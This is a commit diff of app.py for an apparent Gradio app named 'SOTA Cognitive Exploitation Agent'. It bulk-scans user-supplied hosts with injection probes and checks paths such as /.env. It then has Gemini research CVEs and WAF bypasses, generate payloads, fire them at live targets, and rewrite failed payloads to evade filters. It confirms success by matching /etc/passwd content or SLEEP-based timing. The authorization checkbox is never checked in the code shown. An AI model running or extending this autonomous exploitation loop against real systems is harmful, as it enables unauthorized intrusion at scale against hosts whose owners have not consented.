wuhp commited on
Commit
0ee63b1
Β·
verified Β·
1 Parent(s): e9a2bb8

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +157 -125
app.py CHANGED
@@ -19,7 +19,7 @@ except ImportError:
19
  GEMINI_AVAILABLE = False
20
 
21
  # ==============================================================================
22
- # SOTA COGNITIVE DECISION ENGINE: CLOSED-LOOP AUTONOMY
23
  # ==============================================================================
24
 
25
  MAX_CONCURRENT_RECON = 20
@@ -27,7 +27,7 @@ SCAN_TIMEOUT = 5.0
27
  EXPLOIT_TIMEOUT = 8.0
28
 
29
  HTTP_HEADERS = {
30
- "User-Agent": "Cognitive-PenTest-Agent/1.0",
31
  "Accept": "*/*",
32
  "X-Forwarded-For": "127.0.0.1",
33
  }
@@ -46,15 +46,10 @@ class PayloadGeneration(BaseModel):
46
  reasoning: str = Field(description="Why this payload fits the WAF and server profile.")
47
 
48
  class PayloadRefinement(BaseModel):
49
- failure_analysis: str = Field(description="Analysis of why the previous payload failed based on the HTTP response diff and timing.")
50
- adjusted_strategy: str = Field(description="How the approach changes (e.g., 'Switching to URL encoding').")
51
  revised_payload: str = Field(description="The newly patched payload.")
52
 
53
- class ChatResponse(BaseModel):
54
- chat_reply: str = Field(description="Message to human operator.")
55
- suggested_endpoint: str = Field(description="Updated endpoint.")
56
- suggested_payload: str = Field(description="Revised payload.")
57
-
58
  # --- 2. SIGNAL-RICH RECON ENGINE ---
59
 
60
  class ReconProfile:
@@ -63,14 +58,20 @@ class ReconProfile:
63
  self.host = host
64
  self.port = port
65
  self.protocol = "http"
 
66
  self.server_banner = "Unknown"
 
67
  self.waf_detected = "None"
68
  self.baseline_latency = 0.0
69
- self.base_response_length = 0
70
 
71
  self.discovered_paths = []
72
- self.injection_sensitivity = [] # How it reacts to ' " ( ) ;
73
- self.error_signatures = [] # Leaked stack traces
 
 
 
 
 
74
 
75
  class SensorReconEngine:
76
  def __init__(self, profile: ReconProfile, logger: callable):
@@ -96,60 +97,61 @@ class SensorReconEngine:
96
  await self._detect_protocol()
97
  try:
98
  await self.profile_baseline()
99
- await self.probe_injection_sensitivity()
100
- await self.dynamic_path_expansion()
 
101
  finally:
102
  await self.client.aclose()
103
  return self.p
104
 
105
  async def profile_baseline(self):
106
- """Measures baseline latency and response size, fingerprints server."""
107
  start = time.time()
108
  try:
109
  resp = await self.client.get(self._url("/"))
 
110
  self.p.baseline_latency = time.time() - start
111
- self.p.base_response_length = len(resp.text)
112
 
113
- srv = resp.headers.get("Server", "").lower()
114
- self.p.server_banner = srv
115
- if "cloudflare" in srv: self.p.waf_detected = "Cloudflare"
116
- if "imperva" in srv: self.p.waf_detected = "Imperva"
 
 
117
 
118
- self.logger(f"πŸ“Š Baseline [{self.p.target_id}]: Latency {self.p.baseline_latency:.2f}s | WAF: {self.p.waf_detected}")
119
- except Exception: pass
 
 
 
 
 
120
 
121
  async def probe_injection_sensitivity(self):
122
- """Sends neutral anomalies to see if the server leaks errors or sanitizes inputs."""
123
- probes = [("?id=1'", "single_quote"), ("?q=\"><script>", "html_tags"), ("?file=../../", "traversal_chars")]
124
  for path, tag in probes:
125
  try:
126
  resp = await self.client.get(self._url(path))
127
  body = resp.text.lower()
128
- # Check for error leaks
129
  if any(err in body for err in ["sql syntax", "mysql_fetch", "stack trace", "java.lang"]):
130
  self.p.error_signatures.append(f"{tag}_leak")
131
- self.logger(f"🚨 Sensitivity Alert [{self.p.target_id}]: Error signature leaked on {tag}")
132
  elif resp.status_code in [403, 406]:
133
  self.p.injection_sensitivity.append(f"{tag}_blocked")
134
  except: pass
135
 
136
  async def dynamic_path_expansion(self):
137
- """If a base path exists, recursively check deeper."""
138
- base_paths = ["/api", "/admin", "/.env"]
139
  for bp in base_paths:
140
  try:
141
  resp = await self.client.get(self._url(bp))
142
  if resp.status_code in [200, 401, 403, 301, 302]:
143
  self.p.discovered_paths.append(bp)
144
- self.logger(f"πŸ“‚ Discovered Base Path: {bp}")
145
- # Dynamic Expansion
146
  if bp == "/api":
147
  exp_resp = await self.client.get(self._url("/api/v1/users"))
148
  if exp_resp.status_code == 200: self.p.discovered_paths.append("/api/v1/users")
149
  except: pass
150
 
151
 
152
- # --- 3. THE AUTONOMOUS AGENT (EXPLOIT STATE MACHINE) ---
153
 
154
  async def fire_payload(protocol, host, port, endpoint, payload):
155
  url = f"{protocol}://{host}:{port}{endpoint}{payload}"
@@ -159,9 +161,9 @@ async def fire_payload(protocol, host, port, endpoint, payload):
159
  resp = await client.get(url)
160
  latency = time.time() - start
161
  success = False
162
- # Universal Success Metrics
163
  if "root:x:0:0" in resp.text or "[extensions]" in resp.text: success = True
164
- if latency > (SCAN_TIMEOUT + 3.0) and "SLEEP" in payload.upper(): success = True
165
 
166
  return success, resp.status_code, latency, resp.text[:250].replace('\n', ' ')
167
  except Exception as e:
@@ -175,101 +177,93 @@ async def autonomous_exploit_agent(profile: ReconProfile, api_key: str, logger:
175
 
176
  llm = genai.Client(api_key=api_key)
177
 
178
- # AI Configuration with Google Search Grounding for current CVE research
179
- config_strategy = types.GenerateContentConfig(
180
- tools=[types.Tool(google_search=types.GoogleSearch())],
181
- response_mime_type="application/json",
182
- response_json_schema=AttackStrategy.model_json_schema(),
183
- temperature=0.2
184
- )
185
-
186
  recon_evidence = f"""
187
- TARGET EVIDENCE PROFILE:
188
- Target: {profile.target_id}
189
- Server: {profile.server_banner}
190
- WAF Detected: {profile.waf_detected}
191
- Baseline Latency: {profile.baseline_latency:.3f}s
192
- Error Leaks: {profile.error_signatures}
193
- Blocked Injections: {profile.injection_sensitivity}
194
- Discovered Paths: {profile.discovered_paths}
195
  """
196
 
197
- # STATE 1: STRATEGIZING
198
- logger(f"🧠 [STRATEGIZING] Researching & Classifying {profile.target_id}")
199
- await update_ui_cb("🧠 STRATEGIZING", "Researching via Google Search & building Attack Strategy...")
 
 
200
 
201
  try:
202
- strat_resp = await llm.aio.models.generate_content(
203
- model="gemini-2.5-flash",
204
- contents=recon_evidence + "\nUse Google Search to find CVEs/bypasses for this server/WAF. Then formulate an AttackStrategy.",
205
- config=config_strategy
206
  )
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
207
  strategy = AttackStrategy.model_validate_json(strat_resp.text)
208
  except Exception as e:
209
- logger(f"⚠️ Strategy Gen Failed: {e}")
210
- return
211
 
212
- # STATE 2: PAYLOAD GENERATION
213
- logger(f"βš™οΈ [GENERATING] Creating payload for {strategy.vulnerability_class}")
 
214
  await update_ui_cb("βš™οΈ GENERATING", f"Crafting {strategy.strategy} payload...")
215
-
216
- config_gen = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadGeneration.model_json_schema(), temperature=0.3)
217
  try:
 
218
  gen_resp = await llm.aio.models.generate_content(
219
- model="gemini-2.5-flash",
220
- contents=f"Strategy: {strategy.model_dump_json()}\nRecon: {recon_evidence}\nGenerate the specific payload.",
221
- config=config_gen
222
  )
223
  gen = PayloadGeneration.model_validate_json(gen_resp.text)
224
  current_endpoint, current_payload = strategy.target_endpoint, gen.payload
225
  except Exception as e:
226
  logger(f"⚠️ Payload Gen Failed: {e}"); return
227
 
228
- # THE EXECUTION & REFINEMENT LOOP
 
 
229
  for attempt in range(1, 4):
230
- # STATE 3: EXPLOITING
231
- logger(f"βš”οΈ [EXPLOITING] Attempt {attempt} on {current_endpoint}")
232
  await update_ui_cb(f"βš”οΈ EXPLOITING (Try {attempt}/3)", f"Firing: {current_payload}")
233
 
234
  success, status, latency, snippet = await fire_payload(profile.protocol, profile.host, profile.port, current_endpoint, current_payload)
235
 
236
- # STATE 4: ANALYZING
237
- await update_ui_cb("πŸ“Š ANALYZING FEEDBACK", f"Status: {status} | Latency: {latency:.2f}s | Diff checking...")
 
 
238
 
239
  if success:
240
- logger(f"πŸ’₯ [SUCCESS] Exploit triggered on {profile.target_id}!")
241
- yield current_endpoint, current_payload, "SUCCESS πŸ’₯", f"Confirmed {strategy.vulnerability_class}. Latency: {latency:.2f}s"
242
  return
243
 
244
  if attempt == 3: break
245
 
246
- # STATE 5: REFINING
247
  logger(f"πŸ”§ [REFINING] Payload failed. Asking AI to patch...")
248
  await update_ui_cb("πŸ”§ REFINING", "Analyzing failure diff and rewriting payload...")
249
 
250
- feedback = f"""
251
- PREVIOUS PAYLOAD: {current_payload}
252
- OUTCOME: Failed.
253
- FEEDBACK METRICS:
254
- - HTTP Status: {status}
255
- - Latency: {latency:.2f}s (Baseline was {profile.baseline_latency:.2f}s)
256
- - Response Snippet: {snippet}
257
-
258
- Analyze the failure and provide a PayloadRefinement.
259
- """
260
- config_patch = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadRefinement.model_json_schema(), temperature=0.4)
261
  try:
262
- patch_resp = await llm.aio.models.generate_content(
263
- model="gemini-2.5-flash", contents=feedback, config=config_patch
264
- )
265
  patch = PayloadRefinement.model_validate_json(patch_resp.text)
266
  current_payload = patch.revised_payload
267
- logger(f"οΏ½οΏ½οΏ½ AI Insight: {patch.failure_analysis}")
268
  except Exception:
269
- pass # Fallback to loop if API drops
270
 
271
  logger(f"πŸ›‘ [ABORT] Exhausted attempts on {profile.target_id}")
272
- yield current_endpoint, current_payload, "FAILED", f"Analyzed 3 variations. WAF/Server resilient."
273
 
274
 
275
  # --- UI ASYNC WRAPPERS & UTILS ---
@@ -301,7 +295,7 @@ async def run_recon_phase(files, manual, state):
301
  targets = parse_inputs(files, manual)
302
 
303
  if not targets:
304
- yield state, gr.update(), "πŸ”΄ No targets provided.", log_text
305
  return
306
 
307
  logger(f"πŸš€ [STAGE 1] Sensor Recon initiated on {len(targets)} targets.")
@@ -318,14 +312,27 @@ async def run_recon_phase(files, manual, state):
318
  state["profiles"][profile.target_id] = profile
319
  except Exception: pass
320
 
 
321
  while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
322
- log_text = '\n'.join(log_text.split('\n')[:100])
323
- choices = list(state["profiles"].keys())
324
- yield state, gr.update(choices=choices), f"🟑 **Scanning:** Extracted {len(choices)} target profiles...", log_text
 
 
 
 
 
 
 
 
 
 
 
325
 
326
- while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
327
  logger("βœ… [STAGE 1] Recon Complete.")
328
- yield state, gr.update(choices=list(state["profiles"].keys()), value=list(state["profiles"].keys())[0] if state["profiles"] else None), "🟒 **Recon Complete!** Move to the War Room.", log_text
 
 
329
 
330
  async def run_exploit_phase(target_id, api_key, state):
331
  log_queue = asyncio.Queue()
@@ -333,42 +340,42 @@ async def run_exploit_phase(target_id, api_key, state):
333
  log_text = ""
334
 
335
  if not api_key or not target_id:
336
- yield "πŸ”΄ Error", "N/A", "N/A", "N/A", "N/A", log_text
337
  return
338
 
339
  profile = state["profiles"][target_id]
 
340
 
341
- # Callback to update the State Machine UI
342
- ui_state = ""
343
- ui_detail = ""
344
  async def update_ui(s, d):
345
  nonlocal ui_state, ui_detail
346
  ui_state, ui_detail = s, d
347
 
348
  agent_gen = autonomous_exploit_agent(profile, api_key, logger, update_ui)
349
 
350
- # We must consume the agent loop while updating UI
351
  ep, pl, res, det = "", "", "", ""
352
 
353
- # Polling loop to keep UI fresh
354
- agent_task = asyncio.create_task(agent_gen.__anext__())
355
- while not agent_task.done():
356
- try:
357
- msg = await asyncio.wait_for(log_queue.get(), timeout=0.2)
358
- log_text = f"[{time.strftime('%X')}] {msg}\n" + log_text
359
- except asyncio.TimeoutError: pass
360
 
361
- log_text = '\n'.join(log_text.split('\n')[:100])
362
  yield ui_state, ui_detail, ep, pl, res, log_text
363
-
364
- try:
365
- ep, pl, res, det = agent_task.result()
366
- except StopAsyncIteration: pass
367
 
368
- while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
369
  yield "βœ… COMPLETE", det, ep, pl, res, log_text
370
 
371
 
 
 
 
 
 
 
 
 
 
 
372
  # ==============================================================================
373
  # GRADIO UI
374
  # ==============================================================================
@@ -376,26 +383,35 @@ with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
376
  engine_state = gr.State({"profiles": {}})
377
 
378
  gr.Markdown("# πŸ’€ SOTA Cognitive Exploitation Agent")
379
- gr.Markdown("Features: **Signal-Rich Recon**, **Google Search Grounding**, and **Closed-Loop Reasoning (Strategize $\\rightarrow$ Exploit $\\rightarrow$ Refine)**.")
380
-
381
  with gr.Tabs():
382
- # --- TAB 1: RECON ---
383
- with gr.Tab("1. Sensor Reconnaissance"):
384
  with gr.Row():
385
- with gr.Column():
386
  csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
387
  txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80")
388
  recon_btn = gr.Button("πŸ” START SENSOR RECON", variant="primary")
389
- api_key_in = gr.Textbox(label="Gemini API Key (Required for Agent)", type="password")
390
- with gr.Column():
391
  recon_status = gr.Markdown("System Offline.")
392
- log_console = gr.Code(label="Live Recon Telemetry", language="shell", lines=15)
 
 
 
 
 
 
 
393
 
 
 
394
  # --- TAB 2: WAR ROOM ---
395
  with gr.Tab("2. Agentic War Room"):
396
  with gr.Row():
397
  with gr.Column(scale=1):
398
- target_dropdown = gr.Dropdown(label="Extracted Target Profiles", choices=[], interactive=True)
 
 
 
399
  exploit_consent = gr.Checkbox(label="🚨 Authorize AI Agent (Execute live exploits)", value=False)
400
  fire_agent_btn = gr.Button("⚑ DEPLOY AUTONOMOUS AGENT", variant="primary")
401
 
@@ -408,18 +424,34 @@ with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
408
  ep_box = gr.Textbox(label="Target Endpoint", interactive=False)
409
  pl_box = gr.Textbox(label="Injected Payload", interactive=False)
410
  res_box = gr.Textbox(label="Final Result", interactive=False)
 
411
 
412
  # --- WIRING ---
413
  recon_btn.click(
414
  fn=run_recon_phase,
415
  inputs=[csv_in, txt_in, engine_state],
416
- outputs=[engine_state, target_dropdown, recon_status, log_console]
417
  )
418
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
419
  fire_agent_btn.click(
420
  fn=run_exploit_phase,
421
  inputs=[target_dropdown, api_key_in, engine_state],
422
- outputs=[state_box, detail_box, ep_box, pl_box, res_box, log_console]
423
  )
424
 
425
  if __name__ == "__main__":
 
19
  GEMINI_AVAILABLE = False
20
 
21
  # ==============================================================================
22
+ # ENGINE CONTROLS & HEADERS
23
  # ==============================================================================
24
 
25
  MAX_CONCURRENT_RECON = 20
 
27
  EXPLOIT_TIMEOUT = 8.0
28
 
29
  HTTP_HEADERS = {
30
+ "User-Agent": "Cognitive-PenTest-Agent/2.0",
31
  "Accept": "*/*",
32
  "X-Forwarded-For": "127.0.0.1",
33
  }
 
46
  reasoning: str = Field(description="Why this payload fits the WAF and server profile.")
47
 
48
  class PayloadRefinement(BaseModel):
49
+ failure_analysis: str = Field(description="Why the previous payload failed based on response diff.")
50
+ adjusted_strategy: str = Field(description="How the approach changes.")
51
  revised_payload: str = Field(description="The newly patched payload.")
52
 
 
 
 
 
 
53
  # --- 2. SIGNAL-RICH RECON ENGINE ---
54
 
55
  class ReconProfile:
 
58
  self.host = host
59
  self.port = port
60
  self.protocol = "http"
61
+ self.is_alive = False
62
  self.server_banner = "Unknown"
63
+ self.server_version = "Unknown"
64
  self.waf_detected = "None"
65
  self.baseline_latency = 0.0
 
66
 
67
  self.discovered_paths = []
68
+ self.injection_sensitivity = []
69
+ self.error_signatures = []
70
+
71
+ @property
72
+ def is_exploitable(self):
73
+ # Determine if it's worth showing in the War Room
74
+ return self.is_alive and (len(self.discovered_paths) > 0 or len(self.error_signatures) > 0 or self.server_version != "Unknown")
75
 
76
  class SensorReconEngine:
77
  def __init__(self, profile: ReconProfile, logger: callable):
 
97
  await self._detect_protocol()
98
  try:
99
  await self.profile_baseline()
100
+ if self.p.is_alive:
101
+ await self.probe_injection_sensitivity()
102
+ await self.dynamic_path_expansion()
103
  finally:
104
  await self.client.aclose()
105
  return self.p
106
 
107
  async def profile_baseline(self):
 
108
  start = time.time()
109
  try:
110
  resp = await self.client.get(self._url("/"))
111
+ self.p.is_alive = True
112
  self.p.baseline_latency = time.time() - start
 
113
 
114
+ srv = resp.headers.get("Server", "")
115
+ if srv:
116
+ self.p.server_banner = srv
117
+ # Better Version Extraction
118
+ version_match = re.search(r'[\w-]+/([\d\.]+)', srv)
119
+ if version_match: self.p.server_version = version_match.group(1)
120
 
121
+ srv_lower = srv.lower()
122
+ if "cloudflare" in srv_lower: self.p.waf_detected = "Cloudflare"
123
+ elif "imperva" in srv_lower: self.p.waf_detected = "Imperva"
124
+
125
+ self.logger(f"βœ… Alive [{self.p.target_id}]: {self.p.server_banner} | WAF: {self.p.waf_detected}")
126
+ except Exception:
127
+ self.logger(f"❌ Dead [{self.p.target_id}]")
128
 
129
  async def probe_injection_sensitivity(self):
130
+ probes = [("?id=1'", "quote"), ("?q=\"><script>", "html"), ("?file=../../", "traversal")]
 
131
  for path, tag in probes:
132
  try:
133
  resp = await self.client.get(self._url(path))
134
  body = resp.text.lower()
 
135
  if any(err in body for err in ["sql syntax", "mysql_fetch", "stack trace", "java.lang"]):
136
  self.p.error_signatures.append(f"{tag}_leak")
 
137
  elif resp.status_code in [403, 406]:
138
  self.p.injection_sensitivity.append(f"{tag}_blocked")
139
  except: pass
140
 
141
  async def dynamic_path_expansion(self):
142
+ base_paths = ["/api", "/admin", "/.env", "/wp-admin", "/phpmyadmin"]
 
143
  for bp in base_paths:
144
  try:
145
  resp = await self.client.get(self._url(bp))
146
  if resp.status_code in [200, 401, 403, 301, 302]:
147
  self.p.discovered_paths.append(bp)
 
 
148
  if bp == "/api":
149
  exp_resp = await self.client.get(self._url("/api/v1/users"))
150
  if exp_resp.status_code == 200: self.p.discovered_paths.append("/api/v1/users")
151
  except: pass
152
 
153
 
154
+ # --- 3. AUTONOMOUS AGENT (FIXED GOOGLE GROUNDING & SCHEMA) ---
155
 
156
  async def fire_payload(protocol, host, port, endpoint, payload):
157
  url = f"{protocol}://{host}:{port}{endpoint}{payload}"
 
161
  resp = await client.get(url)
162
  latency = time.time() - start
163
  success = False
164
+
165
  if "root:x:0:0" in resp.text or "[extensions]" in resp.text: success = True
166
+ if latency > (SCAN_TIMEOUT + 2.0) and "SLEEP" in payload.upper(): success = True
167
 
168
  return success, resp.status_code, latency, resp.text[:250].replace('\n', ' ')
169
  except Exception as e:
 
177
 
178
  llm = genai.Client(api_key=api_key)
179
 
 
 
 
 
 
 
 
 
180
  recon_evidence = f"""
181
+ TARGET: {profile.target_id}
182
+ Server: {profile.server_banner} (Version: {profile.server_version})
183
+ WAF: {profile.waf_detected}
184
+ Paths: {profile.discovered_paths}
185
+ Errors Leaked: {profile.error_signatures}
186
+ Blocked Inputs: {profile.injection_sensitivity}
 
 
187
  """
188
 
189
+ # ------------------------------------------------------------------
190
+ # PHASE 1: RESEARCH (Allows Google Search, No JSON constraint)
191
+ # ------------------------------------------------------------------
192
+ logger(f"πŸ”Ž [RESEARCHING] Grounding with Google Search for {profile.target_id}")
193
+ await update_ui_cb("πŸ”Ž RESEARCHING", "Querying Google Search for CVEs and bypasses...")
194
 
195
  try:
196
+ research_config = types.GenerateContentConfig(tools=[types.Tool(google_search=types.GoogleSearch())])
197
+ research_prompt = f"Find recent CVEs and WAF bypass techniques for {profile.server_banner} behind {profile.waf_detected}. Keep it brief."
198
+ research_resp = await llm.aio.models.generate_content(
199
+ model="gemini-2.5-flash", contents=research_prompt, config=research_config
200
  )
201
+ search_context = research_resp.text
202
+ except Exception as e:
203
+ search_context = "Search failed. Relying on base knowledge."
204
+ logger(f"⚠️ Search skipped: {e}")
205
+
206
+ # ------------------------------------------------------------------
207
+ # PHASE 2: STRATEGIZING (Strict JSON Schema, NO Google Search)
208
+ # ------------------------------------------------------------------
209
+ logger(f"🧠 [STRATEGIZING] Building attack plan.")
210
+ await update_ui_cb("🧠 STRATEGIZING", "Formatting Attack Strategy...")
211
+
212
+ try:
213
+ strat_config = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=AttackStrategy.model_json_schema())
214
+ strat_prompt = f"Recon: {recon_evidence}\nSearch Data: {search_context}\nOutput AttackStrategy."
215
+ strat_resp = await llm.aio.models.generate_content(model="gemini-2.5-flash", contents=strat_prompt, config=strat_config)
216
  strategy = AttackStrategy.model_validate_json(strat_resp.text)
217
  except Exception as e:
218
+ logger(f"⚠️ Strategy Gen Failed: {e}"); return
 
219
 
220
+ # ------------------------------------------------------------------
221
+ # PHASE 3: PAYLOAD GENERATION
222
+ # ------------------------------------------------------------------
223
  await update_ui_cb("βš™οΈ GENERATING", f"Crafting {strategy.strategy} payload...")
 
 
224
  try:
225
+ gen_config = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadGeneration.model_json_schema())
226
  gen_resp = await llm.aio.models.generate_content(
227
+ model="gemini-2.5-flash", contents=f"Strategy: {strategy.model_dump_json()}\nGenerate payload.", config=gen_config
 
 
228
  )
229
  gen = PayloadGeneration.model_validate_json(gen_resp.text)
230
  current_endpoint, current_payload = strategy.target_endpoint, gen.payload
231
  except Exception as e:
232
  logger(f"⚠️ Payload Gen Failed: {e}"); return
233
 
234
+ # ------------------------------------------------------------------
235
+ # PHASE 4: EXECUTION & REFINEMENT LOOP
236
+ # ------------------------------------------------------------------
237
  for attempt in range(1, 4):
238
+ logger(f"βš”οΈ [EXPLOITING] Attempt {attempt}: {current_payload}")
 
239
  await update_ui_cb(f"βš”οΈ EXPLOITING (Try {attempt}/3)", f"Firing: {current_payload}")
240
 
241
  success, status, latency, snippet = await fire_payload(profile.protocol, profile.host, profile.port, current_endpoint, current_payload)
242
 
243
+ await update_ui_cb("πŸ“Š ANALYZING FEEDBACK", f"Status: {status} | Latency: {latency:.2f}s")
244
+
245
+ # Yield the exact payload and result to the UI!
246
+ yield current_endpoint, current_payload, "SUCCESS πŸ’₯" if success else f"FAILED (HTTP {status})", snippet
247
 
248
  if success:
249
+ logger(f"πŸ’₯ [SUCCESS] Triggered on {profile.target_id}!")
 
250
  return
251
 
252
  if attempt == 3: break
253
 
 
254
  logger(f"πŸ”§ [REFINING] Payload failed. Asking AI to patch...")
255
  await update_ui_cb("πŸ”§ REFINING", "Analyzing failure diff and rewriting payload...")
256
 
 
 
 
 
 
 
 
 
 
 
 
257
  try:
258
+ feedback = f"Payload: {current_payload}\nFailed. Status: {status}, Latency: {latency:.2f}s.\nSnippet: {snippet}\nPatch it to bypass restrictions."
259
+ patch_config = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadRefinement.model_json_schema())
260
+ patch_resp = await llm.aio.models.generate_content(model="gemini-2.5-flash", contents=feedback, config=patch_config)
261
  patch = PayloadRefinement.model_validate_json(patch_resp.text)
262
  current_payload = patch.revised_payload
 
263
  except Exception:
264
+ pass # Fallback to next loop iteration
265
 
266
  logger(f"πŸ›‘ [ABORT] Exhausted attempts on {profile.target_id}")
 
267
 
268
 
269
  # --- UI ASYNC WRAPPERS & UTILS ---
 
295
  targets = parse_inputs(files, manual)
296
 
297
  if not targets:
298
+ yield state, pd.DataFrame(), gr.update(), "πŸ”΄ No targets provided.", log_text
299
  return
300
 
301
  logger(f"πŸš€ [STAGE 1] Sensor Recon initiated on {len(targets)} targets.")
 
312
  state["profiles"][profile.target_id] = profile
313
  except Exception: pass
314
 
315
+ # Flush logs to UI
316
  while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
317
+ log_text = '\n'.join(log_text.split('\n')[:150])
318
+
319
+ # Update Data Viewer & Dropdown
320
+ all_profs = list(state["profiles"].values())
321
+ df = pd.DataFrame([{
322
+ "Target": p.target_id, "Protocol": p.protocol, "Server": p.server_banner,
323
+ "WAF": p.waf_detected, "Paths": len(p.discovered_paths), "Errors": len(p.error_signatures),
324
+ "Exploitable": "Yes" if p.is_exploitable else "No"
325
+ } for p in all_profs])
326
+
327
+ # Only put exploitable targets in the War Room Dropdown
328
+ exploitable_targets = [p.target_id for p in all_profs if p.is_exploitable]
329
+
330
+ yield state, df, gr.update(choices=exploitable_targets), f"🟑 Scanning... {len(all_profs)}/{len(targets)} done.", log_text
331
 
 
332
  logger("βœ… [STAGE 1] Recon Complete.")
333
+ while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
334
+ yield state, df, gr.update(choices=exploitable_targets, value=exploitable_targets[0] if exploitable_targets else None), "🟒 Recon Complete!", log_text
335
+
336
 
337
  async def run_exploit_phase(target_id, api_key, state):
338
  log_queue = asyncio.Queue()
 
340
  log_text = ""
341
 
342
  if not api_key or not target_id:
343
+ yield "πŸ”΄ Error", "No Target/Key", "", "", "", log_text
344
  return
345
 
346
  profile = state["profiles"][target_id]
347
+ ui_state, ui_detail = "INIT", "Starting Agent..."
348
 
 
 
 
349
  async def update_ui(s, d):
350
  nonlocal ui_state, ui_detail
351
  ui_state, ui_detail = s, d
352
 
353
  agent_gen = autonomous_exploit_agent(profile, api_key, logger, update_ui)
354
 
 
355
  ep, pl, res, det = "", "", "", ""
356
 
357
+ # Process generator to update payload textboxes in real-time
358
+ async for new_ep, new_pl, new_res, new_det in agent_gen:
359
+ ep, pl, res, det = new_ep, new_pl, new_res, new_det
360
+
361
+ while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
362
+ log_text = '\n'.join(log_text.split('\n')[:150])
 
363
 
 
364
  yield ui_state, ui_detail, ep, pl, res, log_text
 
 
 
 
365
 
 
366
  yield "βœ… COMPLETE", det, ep, pl, res, log_text
367
 
368
 
369
+ # --- DATAFRAME FILTER FUNCTION ---
370
+ def filter_data(df, search_ip, search_port, show_only_vuln):
371
+ if df is None or df.empty: return df
372
+ filtered = df.copy()
373
+ if search_ip: filtered = filtered[filtered["Target"].str.contains(search_ip, case=False, na=False)]
374
+ if search_port: filtered = filtered[filtered["Target"].str.endswith(f":{search_port}")]
375
+ if show_only_vuln: filtered = filtered[filtered["Exploitable"] == "Yes"]
376
+ return filtered
377
+
378
+
379
  # ==============================================================================
380
  # GRADIO UI
381
  # ==============================================================================
 
383
  engine_state = gr.State({"profiles": {}})
384
 
385
  gr.Markdown("# πŸ’€ SOTA Cognitive Exploitation Agent")
386
+
 
387
  with gr.Tabs():
388
+ # --- TAB 1: ACQUISITION & DATABASE ---
389
+ with gr.Tab("1. Sensor Recon & Database"):
390
  with gr.Row():
391
+ with gr.Column(scale=1):
392
  csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
393
  txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80")
394
  recon_btn = gr.Button("πŸ” START SENSOR RECON", variant="primary")
 
 
395
  recon_status = gr.Markdown("System Offline.")
396
+ log_console = gr.Code(label="Live Recon Telemetry", language="shell", lines=12)
397
+
398
+ with gr.Column(scale=2):
399
+ gr.Markdown("### πŸ—„οΈ Reconnaissance Database Viewer")
400
+ with gr.Row():
401
+ f_ip = gr.Textbox(label="Search IP", scale=2)
402
+ f_port = gr.Textbox(label="Filter Port", scale=1)
403
+ f_vuln = gr.Checkbox(label="Show Only Potentially Exploitable", value=False, scale=1)
404
 
405
+ db_viewer = gr.Dataframe(headers=["Target", "Protocol", "Server", "WAF", "Paths", "Errors", "Exploitable"], interactive=False)
406
+
407
  # --- TAB 2: WAR ROOM ---
408
  with gr.Tab("2. Agentic War Room"):
409
  with gr.Row():
410
  with gr.Column(scale=1):
411
+ gr.Markdown("### πŸ’€ Authorize AI Agent")
412
+ api_key_in = gr.Textbox(label="Gemini API Key (Required)", type="password")
413
+ # ONLY exploitable targets show up here
414
+ target_dropdown = gr.Dropdown(label="Potentially Exploitable Targets", choices=[], interactive=True)
415
  exploit_consent = gr.Checkbox(label="🚨 Authorize AI Agent (Execute live exploits)", value=False)
416
  fire_agent_btn = gr.Button("⚑ DEPLOY AUTONOMOUS AGENT", variant="primary")
417
 
 
424
  ep_box = gr.Textbox(label="Target Endpoint", interactive=False)
425
  pl_box = gr.Textbox(label="Injected Payload", interactive=False)
426
  res_box = gr.Textbox(label="Final Result", interactive=False)
427
+ exploit_console = gr.Code(label="Agent Terminal", language="shell", lines=15)
428
 
429
  # --- WIRING ---
430
  recon_btn.click(
431
  fn=run_recon_phase,
432
  inputs=[csv_in, txt_in, engine_state],
433
+ outputs=[engine_state, db_viewer, target_dropdown, recon_status, log_console]
434
  )
435
 
436
+ # Live Database Filtering
437
+ filter_inputs = [db_viewer, f_ip, f_port, f_vuln]
438
+ for comp in [f_ip, f_port, f_vuln]:
439
+ comp.change(fn=filter_data, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
440
+
441
+ # Ensure we use raw state for filtering logic
442
+ def apply_filter(st, ip, port, vuln):
443
+ all_profs = list(st.get("profiles", {}).values())
444
+ df = pd.DataFrame([{"Target": p.target_id, "Protocol": p.protocol, "Server": p.server_banner, "WAF": p.waf_detected, "Paths": len(p.discovered_paths), "Errors": len(p.error_signatures), "Exploitable": "Yes" if p.is_exploitable else "No"} for p in all_profs])
445
+ return filter_data(df, ip, port, vuln)
446
+
447
+ f_ip.change(fn=apply_filter, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
448
+ f_port.change(fn=apply_filter, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
449
+ f_vuln.change(fn=apply_filter, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
450
+
451
  fire_agent_btn.click(
452
  fn=run_exploit_phase,
453
  inputs=[target_dropdown, api_key_in, engine_state],
454
+ outputs=[state_box, detail_box, ep_box, pl_box, res_box, exploit_console]
455
  )
456
